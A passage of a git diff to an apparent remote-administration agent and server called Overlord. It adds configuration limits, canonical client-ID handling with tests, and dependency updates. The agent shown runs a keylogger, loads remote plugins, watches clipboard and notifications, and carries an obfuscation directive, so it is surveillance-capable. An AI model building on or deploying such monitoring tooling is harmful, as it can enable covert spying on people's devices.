diff --git a/.env.example b/.env.example index 3934ddc..7c45f47 100644 --- a/.env.example +++ b/.env.example @@ -57,6 +57,84 @@ # Leave empty to auto-generate and persist to save.json # OVERLORD_AGENT_TOKEN= +# Recommended: pin browser Origin/CSRF checks to the externally visible origin. +# This is especially important behind TLS offload or a reverse proxy. +# OVERLORD_PUBLIC_ORIGIN=https://overlord.example.com + +# When forwarding headers arrive from a public-address reverse proxy, list the +# proxy's immediate IP here (comma-separated). Only loopback peers are trusted +# automatically; private container/LAN proxy addresses must also be listed. +# OVERLORD_TRUSTED_PROXY_IPS=203.0.113.10 + +# Legacy query-token clients remain supported. Prefer X-Agent-Token for new +# clients; set this to false once every deployed client has migrated. +# OVERLORD_ALLOW_AGENT_TOKEN_QUERY=false +# Legacy password-protected file-share links remain supported. Prefer the +# X-Download-Password header; set this to false to reject query secrets. +# OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY=false + +# Bound unapproved identity storage if an agent token is leaked. Pending rows +# expire after seven days and are capped globally/per observed source IP. +# OVERLORD_PENDING_ENROLLMENT_TTL_HOURS=168 +# OVERLORD_MAX_PENDING_ENROLLMENTS=100000 +# OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP=10000 +# OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL=100000 +# OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP=10000 +# OVERLORD_MAX_ENROLLMENT_VERIFICATIONS=4096 +# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND=100000 +# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST=200000 + +# Generous defaults avoid dropping frames in large fleets; lower these if the +# server operator wants explicit memory/backpressure limits. +# OVERLORD_THUMBNAIL_PENDING_MAX_COUNT=512 +# OVERLORD_THUMBNAIL_PENDING_MAX_BYTES=536870912 +# OVERLORD_THUMBNAIL_QUEUE_MAX=512 +# OVERLORD_THUMBNAIL_CACHE_MAX_BYTES=1073741824 +# OVERLORD_THUMBNAIL_REQUEST_MAX=4096 +# OVERLORD_THUMBNAIL_WAITER_ID_MAX=4096 +# OVERLORD_THUMBNAIL_WAITER_MAX=8192 + +# Notification screenshot storage is bounded transactionally. Byte values are +# raw bytes. Uncomment to impose lower operator-selected retention limits. +# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT=10000 +# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES=1073741824 +# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT=100000 +# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES=17179869184 + +# Notification metadata history is also bounded per client and fleet-wide. +# Oldest rows and linked screenshots are pruned atomically at these limits. +# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT=100000 +# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES=1073741824 +# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT=1000000 +# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES=17179869184 + +# Chat-plugin fleet retention quotas. These prevent many approved client +# identities from multiplying the built-in per-client message/attachment caps. +# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES=1000000 +# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES=17179869184 +# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES=17179869184 + +# Fleet-wide archived keylog quotas supplement the built-in per-client cap. +# Oldest rows and their full-text-search entries are pruned first. +# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES=1000000 +# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES=68719476736 + +# Audit retention is opt-in. Uncomment either setting to prune old history. +# OVERLORD_AUDIT_RETENTION_DAYS=90 +# OVERLORD_AUDIT_MAX_ROWS=250000 + +# Web Push subscriptions are capped per account and server-wide. When an +# account reaches its cap, registering a new browser replaces its oldest entry. +# Delivery uses small batches so a large installation cannot create an +# unbounded number of simultaneous outbound requests. +# OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER=10 +# OVERLORD_MAX_PUSH_SUBSCRIPTIONS=10000 +# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX=20 +# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS=60 +# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS=60 +# OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY=8 +# OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE=100 + # OPTIONAL: Solana publisher RPC request limits (per signed-in user) # OVERLORD_SOL_PUBLISH_RATE_LIMIT_MAX=3 # OVERLORD_SOL_PUBLISH_RATE_LIMIT_WINDOW_SECONDS=300 diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index a65fdcf..3db7906 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -825,7 +825,7 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" { req.Header.Set("x-agent-token", token) } - if id := strings.TrimSpace(env.Cfg.ID); id != "" { + if id := env.ClientID(); id != "" { req.Header.Set("x-overlord-client-id", id) } if offset > 0 { diff --git a/Overlord-Client/cmd/agent/handlers/files_test.go b/Overlord-Client/cmd/agent/handlers/files_test.go index 8dd6a92..54074ce 100644 --- a/Overlord-Client/cmd/agent/handlers/files_test.go +++ b/Overlord-Client/cmd/agent/handlers/files_test.go @@ -477,8 +477,8 @@ func TestHandleFileUploadHTTP(t *testing.T) { data := []byte("http-upload-payload") ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - if got := r.Header.Get("x-overlord-client-id"); got != "client-abc" { - t.Fatalf("expected x-overlord-client-id client-abc, got %q", got) + if got := r.Header.Get("x-overlord-client-id"); got != "key-fingerprint-canonical-id" { + t.Fatalf("expected canonical x-overlord-client-id, got %q", got) } if got := r.Header.Get("x-agent-token"); got != "agent-token" { t.Fatalf("expected x-agent-token agent-token, got %q", got) @@ -494,11 +494,14 @@ func TestHandleFileUploadHTTP(t *testing.T) { env := &rt.Env{ Conn: writer, Cfg: config.Config{ - ID: "client-abc", + ID: "claimed-client-id", AgentToken: "agent-token", TLSInsecureSkipVerify: true, }, } + if !env.SetServerClientID("key-fingerprint-canonical-id") { + t.Fatal("failed to install canonical client id") + } if err := HandleFileUploadHTTP(context.Background(), env, "cmd-http-upload", destPath, ts.URL+"/file", int64(len(data))); err != nil { t.Fatalf("HandleFileUploadHTTP failed: %v", err) diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack.go b/Overlord-Client/cmd/agent/handlers/hello_ack.go index 4c0f7f9..670202c 100644 --- a/Overlord-Client/cmd/agent/handlers/hello_ack.go +++ b/Overlord-Client/cmd/agent/handlers/hello_ack.go @@ -14,6 +14,12 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int if env == nil || envelope == nil { return nil } + if canonicalID, ok := envelope["id"].(string); ok && env.SetServerClientID(canonicalID) { + if env.Plugins != nil { + env.Plugins.SetClientID(env.ClientID()) + } + log.Printf("hello ack: using canonical client id %s", env.ClientID()) + } if version := toInt(envelope["protocolVersion"]); version > 0 { log.Printf("hello ack: negotiated wire protocol v%d (agent v%d)", version, wire.WireProtocolVersion) } diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack_test.go b/Overlord-Client/cmd/agent/handlers/hello_ack_test.go new file mode 100644 index 0000000..cdaf6fc --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/hello_ack_test.go @@ -0,0 +1,45 @@ +package handlers + +import ( + "context" + "testing" + + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/plugins" + agentRuntime "overlord-client/cmd/agent/runtime" +) + +func TestHandleHelloAckAdoptsCanonicalClientID(t *testing.T) { + writer := &testWriter{} + env := &agentRuntime.Env{ + Conn: writer, + Cfg: config.Config{ID: "claimed-client-id"}, + } + env.Plugins = plugins.NewManager(writer, plugins.HostInfo{ClientID: env.ClientID()}) + + if err := HandleHelloAck(context.Background(), env, map[string]interface{}{ + "id": "key-fingerprint-canonical-id", + "protocolVersion": 1, + }); err != nil { + t.Fatalf("HandleHelloAck failed: %v", err) + } + + if got := env.ClientID(); got != "key-fingerprint-canonical-id" { + t.Fatalf("runtime client id = %q, want canonical id", got) + } + if got := env.Plugins.ClientID(); got != "key-fingerprint-canonical-id" { + t.Fatalf("plugin host client id = %q, want canonical id", got) + } +} + +func TestHandleHelloAckWithoutIDRetainsConfiguredFallback(t *testing.T) { + env := &agentRuntime.Env{Cfg: config.Config{ID: "claimed-client-id"}} + if err := HandleHelloAck(context.Background(), env, map[string]interface{}{ + "protocolVersion": 1, + }); err != nil { + t.Fatalf("HandleHelloAck failed: %v", err) + } + if got := env.ClientID(); got != "claimed-client-id" { + t.Fatalf("legacy hello_ack client id = %q, want configured fallback", got) + } +} diff --git a/Overlord-Client/cmd/agent/handlers/plugin_load.go b/Overlord-Client/cmd/agent/handlers/plugin_load.go index 5e31111..5828647 100644 --- a/Overlord-Client/cmd/agent/handlers/plugin_load.go +++ b/Overlord-Client/cmd/agent/handlers/plugin_load.go @@ -46,7 +46,7 @@ func HandlePluginLoadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" { req.Header.Set("x-agent-token", token) } - if id := strings.TrimSpace(env.Cfg.ID); id != "" { + if id := env.ClientID(); id != "" { req.Header.Set("x-overlord-client-id", id) } diff --git a/Overlord-Client/cmd/agent/handlers/plugin_load_test.go b/Overlord-Client/cmd/agent/handlers/plugin_load_test.go new file mode 100644 index 0000000..ef9887e --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/plugin_load_test.go @@ -0,0 +1,54 @@ +package handlers + +import ( + "context" + "net/http" + "net/http/httptest" + "testing" + + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/plugins" + agentRuntime "overlord-client/cmd/agent/runtime" +) + +func TestHandlePluginLoadHTTPUsesCanonicalClientID(t *testing.T) { + headers := make(chan http.Header, 1) + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + headers <- r.Header.Clone() + http.Error(w, "stop after header assertion", http.StatusForbidden) + })) + defer server.Close() + + writer := &testWriter{} + env := &agentRuntime.Env{ + Conn: writer, + Cfg: config.Config{ + ID: "claimed-client-id", + AgentToken: "agent-token", + TLSInsecureSkipVerify: true, + }, + } + env.Plugins = plugins.NewManager(writer, plugins.HostInfo{ClientID: env.ClientID()}) + if !env.SetServerClientID("key-fingerprint-canonical-id") { + t.Fatal("failed to install canonical client id") + } + + if err := HandlePluginLoadHTTP( + context.Background(), + env, + "plugin-command-id", + plugins.PluginManifest{ID: "test-plugin"}, + server.URL+"/api/plugins/pull/test-id", + 1, + ); err != nil { + t.Fatalf("HandlePluginLoadHTTP failed: %v", err) + } + + got := <-headers + if clientID := got.Get("x-overlord-client-id"); clientID != "key-fingerprint-canonical-id" { + t.Fatalf("plugin pull client id = %q, want canonical id", clientID) + } + if token := got.Get("x-agent-token"); token != "agent-token" { + t.Fatalf("plugin pull token = %q, want agent token", token) + } +} diff --git a/Overlord-Client/cmd/agent/plugins/manager.go b/Overlord-Client/cmd/agent/plugins/manager.go index f4ce059..01b15d7 100644 --- a/Overlord-Client/cmd/agent/plugins/manager.go +++ b/Overlord-Client/cmd/agent/plugins/manager.go @@ -33,6 +33,18 @@ func NewManager(writer wire.Writer, host HostInfo) *Manager { } } +func (m *Manager) SetClientID(clientID string) { + m.mu.Lock() + m.host.ClientID = clientID + m.mu.Unlock() +} + +func (m *Manager) ClientID() string { + m.mu.Lock() + defer m.mu.Unlock() + return m.host.ClientID +} + func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error { //garble:controlflow block_splits=max junk_jumps=max flatten_passes=max if len(binary) == 0 { @@ -95,7 +107,10 @@ func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []by }() } - hostJSON, err := json.Marshal(m.host) + m.mu.Lock() + host := m.host + m.mu.Unlock() + hostJSON, err := json.Marshal(host) if err != nil { np.Close() return err diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index bf8864d..063200f 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -3,6 +3,7 @@ package runtime import ( "context" "os" + "strings" "sync" "sync/atomic" "time" @@ -63,6 +64,35 @@ type Env struct { NotificationKeywords []string NotificationMinIntervalMs int NotificationClipboard bool + clientIDMu sync.RWMutex + serverClientID string +} + +func (e *Env) SetServerClientID(value string) bool { + clientID := strings.TrimSpace(value) + if clientID == "" || len(clientID) > 256 { + return false + } + for _, r := range clientID { + if r < 0x20 || r == 0x7f { + return false + } + } + + e.clientIDMu.Lock() + e.serverClientID = clientID + e.clientIDMu.Unlock() + return true +} + +func (e *Env) ClientID() string { + e.clientIDMu.RLock() + clientID := e.serverClientID + e.clientIDMu.RUnlock() + if clientID != "" { + return clientID + } + return strings.TrimSpace(e.Cfg.ID) } func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) { diff --git a/Overlord-Client/cmd/agent/runtime/env_test.go b/Overlord-Client/cmd/agent/runtime/env_test.go index 39e7ed2..68704cc 100644 --- a/Overlord-Client/cmd/agent/runtime/env_test.go +++ b/Overlord-Client/cmd/agent/runtime/env_test.go @@ -1,10 +1,57 @@ package runtime import ( + "sync" "testing" "time" + + "overlord-client/cmd/agent/config" ) +func TestEnv_ClientIDUsesServerCanonicalIdentityAfterAck(t *testing.T) { + env := &Env{Cfg: config.Config{ID: "claimed-client-id"}} + if got := env.ClientID(); got != "claimed-client-id" { + t.Fatalf("ClientID before ack = %q, want configured fallback", got) + } + + if !env.SetServerClientID("key-fingerprint-canonical-id") { + t.Fatal("expected canonical server id to be accepted") + } + if got := env.ClientID(); got != "key-fingerprint-canonical-id" { + t.Fatalf("ClientID after ack = %q, want canonical id", got) + } + + if env.SetServerClientID("bad\r\nheader") { + t.Fatal("expected control characters in canonical id to be rejected") + } + if got := env.ClientID(); got != "key-fingerprint-canonical-id" { + t.Fatalf("invalid update replaced canonical id with %q", got) + } +} + +func TestEnv_ClientIDConcurrentAccess(t *testing.T) { + env := &Env{Cfg: config.Config{ID: "claimed-client-id"}} + var wg sync.WaitGroup + for i := 0; i < 8; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for j := 0; j < 1_000; j++ { + if got := env.ClientID(); got == "" { + t.Errorf("ClientID returned empty during concurrent access") + return + } + } + }() + } + for i := 0; i < 100; i++ { + if !env.SetServerClientID("key-fingerprint-canonical-id") { + t.Fatal("canonical id update failed") + } + } + wg.Wait() +} + func TestEnv_NotificationConfig(t *testing.T) { env := &Env{} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 4d02c11..95f21db 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -590,7 +590,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()} env.SetLastPong(time.Now().UnixMilli()) env.Console = rt.NewConsoleHub(env) - env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version}) + env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: env.ClientID(), OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version}) defer env.Plugins.Close() env.Keylogger = keylogger.New() diff --git a/Overlord-Server/.env.example b/Overlord-Server/.env.example index b281b36..eeccf2c 100644 --- a/Overlord-Server/.env.example +++ b/Overlord-Server/.env.example @@ -17,6 +17,81 @@ OVERLORD_PASS=admin JWT_SECRET= OVERLORD_AGENT_TOKEN= +# Pin browser Origin/CSRF checks to the externally visible server origin. +# Recommended for every production deployment, especially behind a proxy. +# OVERLORD_PUBLIC_ORIGIN=https://overlord.example.com + +# Comma-separated immediate public proxy IPs whose forwarding headers may be +# trusted. Only loopback peers are automatic; list private container/LAN proxy +# addresses explicitly as well. +# OVERLORD_TRUSTED_PROXY_IPS=203.0.113.10 + +# Query-string agent credentials remain enabled for older clients. Current +# agents send X-Agent-Token; set this to false after migrating every client. +# OVERLORD_ALLOW_AGENT_TOKEN_QUERY=false +# Legacy password-protected file-share links remain supported. Prefer the +# X-Download-Password header; set this to false to reject query secrets. +# OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY=false + +# Pending enrollment abuse controls (use larger values for very large fleets). +# OVERLORD_PENDING_ENROLLMENT_TTL_HOURS=168 +# OVERLORD_MAX_PENDING_ENROLLMENTS=100000 +# OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP=10000 +# OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL=100000 +# OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP=10000 +# OVERLORD_MAX_ENROLLMENT_VERIFICATIONS=4096 +# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND=100000 +# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST=200000 + +# Generous defaults avoid dropping frames in large fleets; lower these if the +# server operator wants explicit memory/backpressure limits. +# OVERLORD_THUMBNAIL_PENDING_MAX_COUNT=512 +# OVERLORD_THUMBNAIL_PENDING_MAX_BYTES=536870912 +# OVERLORD_THUMBNAIL_QUEUE_MAX=512 +# OVERLORD_THUMBNAIL_CACHE_MAX_BYTES=1073741824 +# OVERLORD_THUMBNAIL_REQUEST_MAX=4096 +# OVERLORD_THUMBNAIL_WAITER_ID_MAX=4096 +# OVERLORD_THUMBNAIL_WAITER_MAX=8192 + +# Notification screenshot retention quotas (byte values are raw bytes). +# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT=10000 +# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES=1073741824 +# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT=100000 +# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES=17179869184 + +# Notification metadata history quotas. Oldest rows (and any linked screenshots) +# are pruned atomically when a per-client or fleet-wide limit is reached. +# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT=100000 +# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES=1073741824 +# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT=1000000 +# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES=17179869184 + +# Chat-plugin fleet retention quotas. These prevent many approved client +# identities from multiplying the built-in per-client message/attachment caps. +# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES=1000000 +# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES=17179869184 +# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES=17179869184 + +# Fleet-wide archived keylog quotas. These are in addition to the built-in +# per-client cap; oldest rows and their FTS entries are pruned first. +# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES=1000000 +# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES=68719476736 + + +# Audit retention is opt-in. Uncomment either setting to prune old history. +# OVERLORD_AUDIT_RETENTION_DAYS=90 +# OVERLORD_AUDIT_MAX_ROWS=250000 + +# Web Push subscription quotas, mutation rate limits, and bounded fan-out. +# A user's oldest subscription is replaced when their per-user cap is reached. +# OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER=10 +# OVERLORD_MAX_PUSH_SUBSCRIPTIONS=10000 +# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX=20 +# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS=60 +# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS=60 +# OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY=8 +# OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE=100 + # TLS/HTTPS Configuration # By default, certificates are generated when missing and Overlord serves HTTPS. # OVERLORD_TLS_CERT=./certs/server.crt diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index 561d109..8c85af2 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -9,17 +9,17 @@ "@hotwired/turbo": "^8.0.23", "@msgpack/msgpack": "^3.0.0", "@solana/web3.js": "^1.98.4", - "adm-zip": "^0.5.12", + "adm-zip": "^0.6.0", "ansi-to-html": "0.7.2", "cytoscape": "^3.34.0", "fuse.js": "^7.4.1", "geoip-lite": "latest", "gridstack": "^12.6.0", - "hono": "^4.12.33", + "hono": "^4.13.3", "jose": "^6.1.3", "msgpackr": "1.11.8", "qrcode": "^1.5.4", - "uuid": "^9.0.1", + "uuid": "^11.1.1", "valibot": "^1.4.2", "web-push": "^3.6.7", "winston": "^3.11.0", @@ -46,8 +46,8 @@ "flag-icons": "latest", "highlight.js": "11.9.0", "html-minifier-terser": "^7.2.0", - "monaco-editor": "^0.55.1", - "postcss": "^8.5.6", + "monaco-editor": "^0.56.0", + "postcss": "^8.5.26", "tabulator-tables": "^6.4.0", "tailwindcss": "^4.1.18", "terser": "^5.46.1", @@ -55,6 +55,11 @@ }, }, }, + "overrides": { + "dompurify": "^3.4.14", + "ip-address": "^10.5.0", + "uuid": "^11.1.1", + }, "packages": { "@babel/runtime": ["@babel/runtime@7.29.7", "", {}, "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw=="], @@ -204,7 +209,7 @@ "acorn": ["acorn@8.17.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg=="], - "adm-zip": ["adm-zip@0.5.17", "", {}, "sha512-+Ut8d9LLqwEvHHJl1+PIHqoyDxFgVN847JTVM3Izi3xHDWPE4UtzzXysMZQs64DMcrJfBeS/uoEP4AD3HQHnQQ=="], + "adm-zip": ["adm-zip@0.6.0", "", {}, "sha512-XleryMhbuksdKtofnWZ9Sk+4CUTbms4Mb/EU32SZwToAyZ5RgVos/ki8n+yr0LWHOGKuakbXTuuYNHLQjhddgg=="], "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="], @@ -288,7 +293,7 @@ "dijkstrajs": ["dijkstrajs@1.0.3", "", {}, "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA=="], - "dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="], + "dompurify": ["dompurify@3.4.14", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-dVoH9z+MY+C9IilgGCk3YfFqjLi3fChm2OiKJMzh6axrJ5qwxqWaZamgmHrpv22CN/KdbZJuGEGgfQoL00LTdg=="], "dot-case": ["dot-case@3.0.4", "", { "dependencies": { "no-case": "^3.0.4", "tslib": "^2.0.3" } }, "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w=="], @@ -344,7 +349,7 @@ "highlight.js": ["highlight.js@11.9.0", "", {}, "sha512-fJ7cW7fQGCYAkgv4CPfwFHrfd/cLS4Hau96JuJ+ZTOWhjnhoeN1ub1tFmALm/+lW5z4WCAuAV9bm05AP0mS6Gw=="], - "hono": ["hono@4.12.33", "", {}, "sha512-+SwvkaiJtxsiPjhy9LivY/1m7UsNqCJetM1BrZl9A5DkQhlbHQDU730mMiDPWjnoCYOM8Chf3WrCJw27kNTPFQ=="], + "hono": ["hono@4.13.3", "", {}, "sha512-r8AO2mYHoLxSHkgafNeC/BXyb2vWRxD3jem4Ts+ptav8oTG5FIRifAjuJEmZI4bSvvc2ns0GxmIYiZnHqN3mMw=="], "html-minifier-terser": ["html-minifier-terser@7.2.0", "", { "dependencies": { "camel-case": "^4.1.2", "clean-css": "~5.3.2", "commander": "^10.0.0", "entities": "^4.4.0", "param-case": "^3.0.4", "relateurl": "^0.2.7", "terser": "^5.15.1" }, "bin": { "html-minifier-terser": "cli.js" } }, "sha512-tXgn3QfqPIpGl9o+K5tpcj3/MN4SfLtsx2GWwBC3SSd0tXQGyF3gsSqad8loJgKZGM3ZxbYDd5yhiBIdWpmvLA=="], @@ -360,7 +365,7 @@ "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], - "ip-address": ["ip-address@10.2.0", "", {}, "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA=="], + "ip-address": ["ip-address@10.5.0", "", {}, "sha512-R5SnVLJmgYYvf2F2ZgwSBnelz5G4q5AxIC277GDfUaNbrZKNANcBC7RHqYYePlszf4kBolVkJauG0ZjHHFh55g=="], "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], @@ -430,7 +435,7 @@ "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], - "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="], + "monaco-editor": ["monaco-editor@0.56.0", "", { "dependencies": { "dompurify": "3.4.8", "marked": "14.0.0" } }, "sha512-sXboRm3BeBeLm938eaiyLMe0OxzfXIlZvbv4ir/jVgQy1zDhWjgmny0WoN45fuDKhCCQsYMbBJrv/A6jd8aCUg=="], "mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="], @@ -440,7 +445,7 @@ "msgpackr-extract": ["msgpackr-extract@3.0.4", "", { "dependencies": { "node-gyp-build-optional-packages": "5.2.2" }, "optionalDependencies": { "@msgpackr-extract/msgpackr-extract-darwin-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-darwin-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-win32-x64": "3.0.4" }, "bin": { "download-msgpackr-prebuilds": "bin/download-prebuilds.js" } }, "sha512-4kmO/MdyUIkLIvTPr8VHLil4AtoKIoniWPIEk5+CDy0xnWC84azhSFmuJ7PxZdsYtiP5kEeQsORAVIeMgxT+Hw=="], - "nanoid": ["nanoid@3.3.15", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA=="], + "nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="], "no-case": ["no-case@3.0.4", "", { "dependencies": { "lower-case": "^2.0.2", "tslib": "^2.0.3" } }, "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg=="], @@ -480,7 +485,7 @@ "pngjs": ["pngjs@5.0.0", "", {}, "sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw=="], - "postcss": ["postcss@8.5.15", "", { "dependencies": { "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, 